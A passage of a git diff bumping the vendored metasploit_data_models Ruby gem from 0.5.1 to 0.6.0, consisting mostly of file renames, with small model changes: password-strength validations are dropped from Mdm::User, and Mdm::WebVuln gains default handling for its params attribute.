lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/host_tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/host_tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/imported_cred.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/imported_cred.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/imported_cred.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/listener.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/listener.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/listener.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/loot.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/loot.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/loot.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/macro.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/macro.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/macro.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/mod_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/mod_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/mod_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_action.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_action.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_action.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_arch.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_arch.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_arch.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_author.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_author.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_author.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_mixin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_mixin.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_mixin.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_platform.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_platform.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_platform.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/module_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/module_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/nexpose_console.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/nexpose_console.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/nexpose_console.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/note.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/note.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/note.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/profile.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/profile.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/profile.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report_template.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/report_template.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/report_template.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/route.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/route.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/route.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/service.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/service.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/service.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session_event.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/session_event.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/session_event.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/tag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/tag.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/tag.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/task.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/task.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/task.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb similarity index 87% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb index bdc5baae21..c727f8507f 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/user.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/user.rb @@ -20,13 +20,6 @@ class Mdm::User < ActiveRecord::Base serialized_prefs_attr_accessor :time_zone, :session_key serialized_prefs_attr_accessor :last_login_address # specifically NOT last_login_ip to prevent confusion with AuthLogic magic columns (which dont work for serialized fields) - # - # Validations - # - - validates :password, :password_is_strong => true - validates :password_confirmation, :password_is_strong => true - ActiveSupport.run_load_hooks(:mdm_user, self) end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_attempt.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_attempt.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_attempt.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_detail.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_detail.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_detail.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_ref.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/vuln_ref.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/vuln_ref.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_form.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_form.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_form.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_page.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_page.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_page.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_site.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_site.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_site.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb similarity index 72% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb index 4577818842..5d9df893c7 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/web_vuln.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/web_vuln.rb @@ -1,6 +1,6 @@ # A Web Vulnerability found during a web scan or web audit. # -# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) in side an initializer so that +# If you need to modify Mdm::WebVuln you can use ActiveSupport.on_load(:mdm_web_vuln) inside an initializer so that # your patches are reloaded on each request in development mode for your Rails application. # # @example extending Mdm::WebVuln @@ -19,6 +19,9 @@ class Mdm::WebVuln < ActiveRecord::Base # shouldn't be an {Mdm::WebVuln} record if there is 0% {#confidence} in the the finding. CONFIDENCE_RANGE = 1 .. 100 + # Default value for {#params} + DEFAULT_PARAMS = [] + # Allowed {#method methods}. METHODS = [ 'GET', @@ -120,7 +123,6 @@ class Mdm::WebVuln < ActiveRecord::Base } validates :name, :presence => true validates :path, :presence => true - validates :params, :presence => true validates :pname, :presence => true validates :proof, :presence => true validates :risk, @@ -136,8 +138,53 @@ class Mdm::WebVuln < ActiveRecord::Base # @!attribute [rw] params # Parameters sent as part of request # - # @return [Array>] Array of parameter key value pairs - serialize :params, MetasploitDataModels::Base64Serializer.new + # @return [Array>] Array of parameter key value pairs + serialize :params, MetasploitDataModels::Base64Serializer.new(:default => DEFAULT_PARAMS) + + # + # Methods + # + + # Parameters sent as part of request. + # + # @return [Array>] + def params + normalize_params( + read_attribute(:params) + ) + end + + # Set parameters sent as part of request. + # + # @param params [Array>, nil] Array of parameter key value pairs + # @return [void] + def params=(params) + write_attribute( + :params, + normalize_params(params) + ) + end + + private + + # Creates a duplicate of {DEFAULT_PARAMS} that is safe to modify. + # + # @return [Array] an empty array + def default_params + DEFAULT_PARAMS.dup + end + + # Returns either the given params or {DEFAULT_PARAMS} if params is `nil` + # + # @param [Array>, nil] params + # @return [Array<>] params if not `nil` + # @return [nil] if params is `nil` + def normalize_params(params) + params || default_params + end + + # switch back to public for load hooks + public ActiveSupport.run_load_hooks(:mdm_web_vuln, self) end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_request.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_request.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_request.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_request.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_target.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_target.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/wmap_target.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/wmap_target.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/workspace.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/app/models/mdm/workspace.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/app/models/mdm/workspace.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/bin/mdm_console b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/bin/mdm_console similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/bin/mdm_console rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/bin/mdm_console diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/console_db.yml b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/console_db.yml similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/console_db.yml rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/console_db.yml diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/000_create_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/000_create_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/000_create_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/001_add_wmap_tables.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/001_add_wmap_tables.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/001_add_wmap_tables.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/002_add_workspaces.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/002_add_workspaces.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/002_add_workspaces.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/003_move_notes.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/003_move_notes.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/003_move_notes.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/004_add_events_table.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/004_add_events_table.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/004_add_events_table.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/005_expand_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/005_expand_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/005_expand_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/006_add_timestamps.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/006_add_timestamps.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/006_add_timestamps.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/007_add_loots.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/007_add_loots.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/007_add_loots.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/008_create_users.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/008_create_users.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/008_create_users.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/009_add_loots_ctype.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/009_add_loots_ctype.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/009_add_loots_ctype.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/010_add_alert_fields.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/010_add_alert_fields.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/010_add_alert_fields.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/011_add_reports.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/011_add_reports.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/011_add_reports.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/012_add_tasks.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/012_add_tasks.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/013_add_tasks_result.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/013_add_tasks_result.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/014_add_loots_fields.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/014_add_loots_fields.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/015_rename_user.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/015_rename_user.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/016_add_host_purpose.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/016_add_host_purpose.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/017_expand_info2.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/017_expand_info2.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/018_add_workspace_user_info.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.6.0/db/migrate/018_add_workspace_user_info.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb 